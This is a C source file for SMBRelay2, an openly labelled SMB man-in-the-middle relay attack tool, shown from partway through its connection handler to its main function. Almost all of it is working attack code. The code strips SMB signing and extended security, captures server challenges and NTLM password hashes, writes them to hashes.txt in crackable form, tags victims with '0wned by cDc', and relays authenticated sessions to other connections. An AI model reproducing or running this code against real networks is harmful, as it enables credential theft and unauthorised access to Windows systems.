	char *ptr = hostname + NCBNAMSZ-1; 
	do 
	{ 
		*ptr = 0; 
		ptr--; 
	} while (*ptr == ' '); 
 
	if (RegisterSourceName ) 
	{ 
		RegisterSourceName = FALSE; 
		if (!NBAddName(SourceName, &outncb)) 
		{ 
			NBHangup(&inncb); 
			return; 
		} 
	} 
 
 
	if (!NBCall(&outncb, NameBuff)) 
	{ 
		NBHangup(&inncb); 
		return ; 
	} 
 
 
	PSMBHEADER psmbheader = (PSMBHEADER)(buff); 
	PSMBDIALECTSELECTHEADER pdialectselectheader = (PSMBDIALECTSELECTHEADER)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER psessionsetupand = (PSESSION_SETUP_ANDHEADER)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER2 psessionsetupand2 = (PSESSION_SETUP_ANDHEADER2)(psmbheader+1); 
	PSESSION_SETUP_ANDHEADER2EX psessionsetupand2ex = ( PSESSION_SETUP_ANDHEADER2EX)(psmbheader+1); 
	PSESSION_SETUP_ANDRESPONSEHEADER psessionsetupandresponse = (PSESSION_SETUP_ANDRESPONSEHEADER)(psmbheader + 1); 
 
	PTREE_CONNECT_ANDHEADER ptreeconnectand = (PTREE_CONNECT_ANDHEADER)(psmbheader+1); 
 
	BOOL bConnected = FALSE; 
	BOOL bContinue = TRUE; 
	x = 0; 
	 
	while (bContinue && !bConnected && !g_bQuit) 
	{ 
 
		if (g_DebugLevel > 2) 
			fprintf(stderr, "Receiving input block\n"); 
 
		if (!NBRecv(&inncb, (PUCHAR)buff, sizeof(buff))) 
		{ 
			NBHangup(&outncb); 
			return; 
		} 
 
		if (psmbheader->MagicVal == SMBMAGICVAL) 
		{ 
			fprintf(stderr, "%s\n", GetCommandType(psmbheader->Command) ); 
 
			// Downgrade security to NTLM 
			psmbheader->bExtendedSecurity = FALSE; 
			psmbheader->bNTErrorCodes = FALSE; 
//				psmbheader->bUnicodeStrings = FALSE; 
			psmbheader->bFlags2IsLongName = FALSE; 
 
 
			switch (psmbheader->Command) 
			{ 
			case SMB_COM_NEGOTIATE: 
				// set to NT style connection (no extended security) 
				psmbheader->bUnicodeStrings = FALSE; 
				psmbheader->bNTErrorCodes = FALSE; 
				psmbheader->bUnknown1 = FALSE; 
				psmbheader->bUnknown2 = FALSE; 
				psmbheader->bUnknown3 = FALSE; 
				psmbheader->bUnknown4 = FALSE; 
				psmbheader->bUnknown5 = FALSE; 
				psmbheader->bUnknown6 = FALSE; 
				psmbheader->bUnknown7 = FALSE; 
				psmbheader->bUnknown8 = FALSE; 
				psmbheader->bExtendedSecurity = FALSE; 
 
				break; 
			case SMB_COM_SESSION_SETUP_ANDX: 
				switch (psessionsetupand->Len) 
				{ 
				case SESSION_SETUP_ANDHEADER_LEN:	// 9x? 
					fprintf(stderr, "Password length: %d\n", psessionsetupand->PasswordLen ); 
					if (psessionsetupand->PasswordLen > 1) 
					{ 
						fprintf(stderr, "Password: "); 
						PrintHexString((BYTE *)(psessionsetupand + 1), psessionsetupand->PasswordLen ); 
						fprintf(stderr, "\n"); 
 
						bContinue = FALSE; 
//						bConnected = FALSE; 
					} 
 
					break; 
				case SESSION_SETUP_ANDHEADER2_LEN:	// NT 4 
					fprintf(stderr, "Password lengths: %d %d\n", psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); 
 
					if (psessionsetupand2->CaseInsensitivePasswordLen > 1) 
					{ 
						fprintf(stderr, "Case insensitive password:  "); 
						PrintHexString((BYTE *)(psessionsetupand2 + 1), psessionsetupand2->CaseInsensitivePasswordLen ); 
						fprintf(stderr, "\n"); 
 
						memcpy(caseinsensitivepassword, psessionsetupand2 + 1, 24); 
					} 
 
					if (psessionsetupand2->CaseSensitivePasswordLen > 1) 
					{ 
						fprintf(stderr, "Case sensitive password:    "); 
						PrintHexString((BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); 
						fprintf(stderr, "\n"); 
 
						memcpy(casesensitivepassword, (BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, 24); 
					} 
 
					if (/* psmbheader->bUnicodeStrings */TRUE) 
					{ 
						WCHAR *ptr = (WCHAR *)(psessionsetupand2 + 1); 
 
						ptr = (WCHAR *)((char *)ptr + psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1); 
 
						fprintf(stderr, "Username:     \"%S\"\n", ptr); 
 
						sprintf(username, "%S", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						fprintf(stderr, "Domain:       \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						fprintf(stderr, "OS:           \"%S\"\n", ptr); 
 
#if 1 
						_snwprintf(ptr, wcslen(ptr) , L"0wned by cDc                               "); 
 
#endif 
 
						ptr += wcslen(ptr) + 1; 
 
						fprintf(stderr, "Lanman type:  \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
						fprintf(stderr, "???:          \"%S\"\n", ptr); 
 
						ptr += wcslen(ptr) + 1; 
 
					} 
					else 
					{ 
						char *ptr = (char *)(psessionsetupand2 + 1); 
 
						ptr += psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1; 
						 
						fprintf(stderr, "Username:     \"%s\"\n", ptr); 
 
						strncpy(username, ptr, sizeof(username)); 
 
						ptr += strlen(ptr) + 1; 
 
						fprintf(stderr, "Domain:       \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						fprintf(stderr, "OS:           \"%s\"\n", ptr); 
 
						ptr += strlen(ptr) + 1; 
 
						fprintf(stderr, "Lanman type:  \"%s\"\n", ptr); 
					} 
 
 
 
					if (psessionsetupand2->AndXCommand == SMB_COM_TREE_CONNECT_ANDX) 
					{ 
						// add TREE_CONNECT_AND portion to connect to IPC$ 
						psessionsetupand2->AndXOffset = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 3; 
				 
						PTREE_CONNECT_ANDHEADER pTreeConnectAnd2 = (PTREE_CONNECT_ANDHEADER)(PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupand2->AndXOffset ); 
 
						pTreeConnectAnd2->Len = TREE_CONNECT_ANDHEADER_LEN;  
						pTreeConnectAnd2->AndXCommand = SMB_NONE; 
						pTreeConnectAnd2->AndXOffset = 0; 
						pTreeConnectAnd2->AndXReserved = 0; 
						pTreeConnectAnd2->Flags = 0; 
						pTreeConnectAnd2->PasswordLen = 1; 
						pTreeConnectAnd2->ByteCount = 32; 
						 
						char *ptr = (char *)(pTreeConnectAnd2 + 1); 
 
						*ptr = 0; 
						ptr++; 
 
						WCHAR  *wptr = (WCHAR *)ptr; 
 
						swprintf(wptr, L"\\\\%S\\IPC$", hostname); 
 
						pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2; 
 
						wptr += wcslen(wptr) + 1; 
 
						ptr = (char *)wptr; 
 
						strcpy(ptr, "?????"); 
 
						pTreeConnectAnd2->ByteCount += 7; 
 
						inncb.ncb_length = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2  + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4 ; 
					} 
 
					break; 
				case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000 
					fprintf(stderr, "Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen); 
 
 
					break; 
				default: 
					fprintf(stderr, "Unknown setup header length %d\n", psessionsetupand->Len); 
					break; 
				} 
 
				break; 
			} 
		} 
 
 
		if (g_DebugLevel > 2) 
			fprintf(stderr, "Sending query to target server\n"); 
 
		NBSend(&outncb, buff, inncb.ncb_length); 
 
 
		if (g_DebugLevel > 2) 
			fprintf(stderr, "Receiving response from target server\n"); 
 
		if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff))) 
		{ 
			NBHangup(&inncb); 
			return ; 
		} 
 
 
		switch (psmbheader->Command) 
		{ 
		case SMB_COM_NEGOTIATE: 
 
			SessionID = pdialectselectheader->UniqueSessionKey; 
 
			if (pdialectselectheader->EncryptionKeyLen ) 
			{ 
				fprintf(stderr, "Challenge (%d bytes):    ", pdialectselectheader->EncryptionKeyLen); 
 
				PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen); 
 
				memcpy(challenge, pdialectselectheader + 1, 8); 
 
				fprintf(stderr, "\n"); 
			} 
 
			if (pdialectselectheader->bSecuritySignaturesRequired ) 
			{ 
				fprintf(stderr, "Security signatures required by server *** THIS MAY NOT WORK!\n"); 
				pdialectselectheader->bSecuritySignaturesRequired = 0; 
			} 
 
			if (pdialectselectheader->bExtendedSecurity) 
			{ 
				fprintf(stderr, "Disabling extended security *** THIS MAY NOT WORK!\n"); 
				pdialectselectheader->bExtendedSecurity = 0; 
			} 
 
			if (pdialectselectheader->bSecuritySignaturesEnabled) 
			{ 
				fprintf(stderr, "Disabling security signatures\n"); 
				pdialectselectheader->bSecuritySignaturesEnabled = 0; 
			} 
 
			// copy negotiation response for relaying later 
			memcpy(negotiateheaders, buff, sizeof(negotiateheaders)); 
 
			break; 
 
		case SMB_COM_SESSION_SETUP_ANDX: 
 
			if (psmbheader->NTError == 0) 
			{ 
				if (strlen(username)) 
					bConnected = TRUE; 
 
				if (psessionsetupandresponse->Action & 1) 
				{ 
					fprintf(stderr, "Connected as guest\n"); 
				} 
 
				if (/* psmbheader->bUnicodeStrings*/TRUE ) 
				{ 
					WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1); 
 
					if ((DWORD)ptr % 2) 
						ptr = (WCHAR *)((char *)ptr +1); 
 
					fprintf(stderr, "OS:           \"%S\"\n", ptr); 
 
					ptr += wcslen(ptr) + 1; 
 
					fprintf(stderr, "Lanman type:  \"%S\"\n", ptr); 
 
					ptr += wcslen(ptr) + 1; 
 
					fprintf(stderr, "Domain:       \"%S\"\n", ptr); 
 
				} 
				else 
				{ 
					char *ptr = (char *)(psessionsetupandresponse + 1); 
 
					fprintf(stderr, "OS:           \"%s\"\n", ptr); 
 
					ptr += strlen(ptr) + 1; 
 
					fprintf(stderr, "Lanman type:  \"%s\"\n", ptr); 
 
					ptr += strlen(ptr) + 1; 
 
					fprintf(stderr, "Domain:       \"%s\"\n", ptr); 
 
					ptr += strlen(ptr) + 1; 
 
				} 
 
				if (strlen(username)) 
				{ 
					memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders)); 
					UID = psmbheader->UserID; 
				} 
 
			} 
			else 
			{ 
				fprintf(stderr, "Login failure code: 0x%08X\n", psmbheader->NTError ); 
			} 
			break; 
		} 
 
 
		if (!bConnected) 
		{ 
			if (g_DebugLevel > 2) 
				fprintf(stderr, "Sending response to target client"); 
 
			NBSend(&inncb, buff, outncb.ncb_length); 
		} 
 
 
		fprintf(stderr, "\n"); 
 
	} 
 
	NBHangup(&inncb); 
 
 
 
	FILE *file; 
 
	file = fopen("hashes.txt", "a"); 
 
	if (file != NULL) 
	{ 
		fprintf(file, "%s\\%s:3:", hostname, username); 
 
		for (x = 0; x < 8; x++) 
			fprintf(file, "%02X", challenge[x]); 
 
		fprintf(file, ":"); 
 
		for (x = 0; x < 24; x++) 
			fprintf(file, "%02X", caseinsensitivepassword[x]); 
 
		fprintf(file, ":"); 
 
		for (x = 0; x < 24; x++) 
			fprintf(file, "%02X", casesensitivepassword[x]); 
 
		fprintf(file, "\n"); 
 
		fclose(file); 
 
		fprintf(stderr, "Password hash written to disk\n"); 
	} 
 
	if (bConnected) 
	{ 
 
		fprintf(stderr, "Connected?\n"); 
 
		if (!NBAddName(RelayName, &inncb) ) 
		{ 
			NBHangup(&outncb); 
			fprintf(stderr, "Unable to add relay name\n"); 
			return ; 
		} 
 
		while (bConnected && !g_bQuit) 
		{ 
 
 
			if (!NBListen(&inncb)) 
			{ 
				fprintf(stderr, "Error receiving relay connetion\n"); 
				NBHangup(&outncb); 
				return ; 
			} 
 
 
 
			fprintf(stderr, "*** Relay connection for target %s received from ", hostname); 
			PrintNetBIOSName(inncb.ncb_callname); 
			fprintf(stderr, "\n"); 
 
 
			bContinue = TRUE; 
 
 
			BOOL bLogonDone = FALSE; 
			BOOL bDialectSelected = FALSE; 
 
			do 
			{ 
				BOOL bDoSend = TRUE; 
 
//				if (g_DebugLevel > 2) 
//					fprintf(stderr, "Receiving request from relay\n"); 
 
				if (!NBRecv(&inncb, (PUCHAR)buff, sizeof(buff))) 
				{ 
					bContinue = FALSE; 
				} 
 
				if (inncb.ncb_length == 0) 
					bDoSend = FALSE; 
 
				if (bContinue && bDoSend) 
				{ 
 
					if (psmbheader->MagicVal != SMBMAGICVAL	) 
					{ 
						if (g_DebugLevel > 0) 
							fprintf(stderr, "Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, inncb.ncb_length, hostname); 
 
					} 
					else 
					{ 
						if (g_DebugLevel > 0) 
							fprintf(stderr, "%s\n", GetCommandType(psmbheader->Command)); 
					} 
 
 
					switch (psmbheader->Command) 
					{ 
					case SMB_COM_LOGOFF_ANDX: 
						fprintf(stderr, " *** Logoff from target %s\n", hostname); 
						bDoSend = FALSE; 
						bContinue = FALSE; 
						break; 
 
					case SMB_COM_NEGOTIATE: 
						if (!bDialectSelected) 
						{ 
							char *ptr = (char *)(psmbheader + 1) + 3; 
							int selecteddialect = 0; 
							x = 0; 
 
							bDialectSelected = TRUE; 
 
							while (selecteddialect == 0 && ptr < buff + inncb.ncb_length) 
							{ 
								if (g_DebugLevel > 0) 
									fprintf(stderr, "%d - Dialect %d - %s\n", x, *ptr, ptr+1); 
				 
								x++; 
 
								ptr += strlen(ptr+1) + 2; 
 
									// locate dialect of choice 
								if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0) 
									selecteddialect = x; 
 
							} 
 
 
							memcpy(buff, negotiateheaders, sizeof(negotiateheaders)); 
 
							pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN; 
							pdialectselectheader->DialectIndex = selecteddialect; 
 
 
							ptr = (char *)(pdialectselectheader + 1); 
 
							// put encryption key here 
							memcpy(ptr, "!!!!!!!!", 8); 
 
							ptr += SMBENCRYPTIONKEYLEN ; 
 
							if (/*psmbheader->bUnicodeStrings*/TRUE) 
							{ 
								swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME); 
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; 
							} 
							else 
							{ 
								strcpy(ptr, SERVERDOMAINNAME); 
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; 
							} 
 
							inncb.ncb_length = sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ; 
 
							fprintf(stderr, " *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname ); 
 
							NBSend(&inncb, buff, inncb.ncb_length); 
							bDoSend = FALSE; 
 
 
						} 
 
 
 
						break; 
					case SMB_COM_SESSION_SETUP_ANDX: 
						if ( !bLogonDone ) 
						{ 
							bLogonDone = TRUE; 
 
							WORD MID = psmbheader->MultiplexID; 
							WORD AndXCommand = psessionsetupand->AndXCommand ; 
 
							memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) ); 
							 
							psmbheader->MultiplexID = MID; 
 
							psmbheader->UserID = UID ; 
 
							outncb.ncb_length =  sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2; 
 
								// truncate it if necessary 
							if (AndXCommand == SMB_NONE) 
							{ 
								psessionsetupandresponse->AndXCommand = SMB_NONE; 
								psessionsetupandresponse->AndXOffset = 0; 
 
							} 
							else 
							{ 
								PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset ); 
 
								ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN; 
								ptreeconnectand->AndXCommand = SMB_NONE; 
								ptreeconnectand->AndXOffset = 0; 
								ptreeconnectand->AndXReserved = 0; 
								ptreeconnectand->OptionalSupport = 0; 
 
								char *ptr = (char *)(ptreeconnectand + 1); 
 
								strcpy(ptr, "IPC"); 
 
								ptreeconnectand->ByteCount = strlen(ptr) + 3; 
 
								ptr += strlen(ptr) + 1; 
								*ptr = 0; 
								ptr++; 
								*ptr = 0; 
 
								outncb.ncb_length += ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4; 
							} 
 
 
							fprintf(stderr, " *** Sent SMB Session setup response for relay to %s\n", hostname); 
	 
							NBSend(&inncb, buff, inncb.ncb_length); 
							bDoSend = FALSE; 
 
						} 
 
						break; 
					} 
				} 
 
 
				if (bContinue && bDoSend ) 
				{ 
 
					if (g_DebugLevel > 2) 
						fprintf(stderr, "Sending request to target server\n"); 
 
					NBSend(&outncb, buff, inncb.ncb_length); 
 
				} 
 
				if (bContinue && !g_bQuit) 
				{ 
					if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff))) 
					{ 
						fprintf(stderr, "Error receiving response from target"); 
						bContinue = FALSE; 
					} 
 
 
					if (bContinue && !g_bQuit && outncb.ncb_length > 0) 
					{ 
						if (g_DebugLevel > 0) 
							fprintf(stderr, "Received %d byte response from target %s\n", outncb.ncb_length , hostname); 
 
						if (g_DebugLevel > 2) 
							fprintf(stderr, "Sending response to relay client\n"); 
 
						NBSend(&inncb, buff, outncb.ncb_length); 
 
					} 
				} 
 
				Sleep(5); 
 
			} while (bContinue && !g_bQuit); 
 
			fprintf(stderr, " *** Relay disconnected from target %s\n", hostname); 
 
		} 
	} 
 
	NBHangup(&inncb); 
	NBHangup(&outncb); 
 
 
} 
 
 
int main(int argc, char* argv[]) 
{ 
	NCB inncb; 
	int MaxSessions = 20; 
	int MaxNames = 32; 
	char LocalName[32] =  "SERVER          "; 
	int x; 
 
 
	fprintf(stderr, "SMBRelay2 v.98 - NetBIOS level SMB man-in-the-middle relay attack\n"); 
 
	for (x = 1; x < argc; x++) 
	{ 
		if (argv[x][0] == '/') 
		{ 
			switch (toupper(argv[x][1])) 
			{ 
			case 'A': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				g_LanaNum = atoi(argv[x]); 
 
				break; 
			case 'D': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
 
				g_DebugLevel = atoi(argv[x]); 
 
				break; 
			case 'L': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
				ParamToNetBIOSName(LocalName, argv[x]); 
				LocalName[NCBNAMSZ-1] = 0x20; 
				break; 
			case 'R': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
				ParamToNetBIOSName(RelayName, argv[x]); 
				RelayName[NCBNAMSZ-1] = 0x20; 
				break; 
			case 'S': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
				ParamToNetBIOSName(SourceName, argv[x]); 
				break; 
			case 'T': 
				if (x > argc - 2) 
				{ 
					fprintf(stdout, "Missing argument for %s\n", argv[x]); 
					Usage(); 
					return 0; 
				} 
				x++; 
				ParamToNetBIOSName(TargetName, argv[x]); 
				TargetName[NCBNAMSZ-1] = 0x20; 
				break; 
			default: 
				fprintf(stdout, "Bad option: \"%s\"\n", argv[x] ); 
			case '?': 
			case 'H': 
 
				Usage(); 
				return 0; 
				break; 
			} 
		} 
		else 
		{ 
			fprintf(stderr, "Bad argument: %s\n", argv[x]); 
		} 
	} 
 
 
 
	if (!NBReset (g_LanaNum, MaxSessions, MaxNames))  
		return 0; 
 
 
	if (!NBAddName(LocalName, &inncb) ) 
	{ 
		return 0; 
	} 
 
	do 
	{ 
		if (!NBListen(&inncb)) 
		{ 
			fprintf(stderr, "Error listening\n"); 
			return 0; 
		} 
 
		_beginthread( ConnectionHandlerThread, 0, &inncb ); 
 
		Sleep(150); 
 
 
	} while (TRUE); 
 
 
 
 
	_getch(); 
 
	return 0; 
}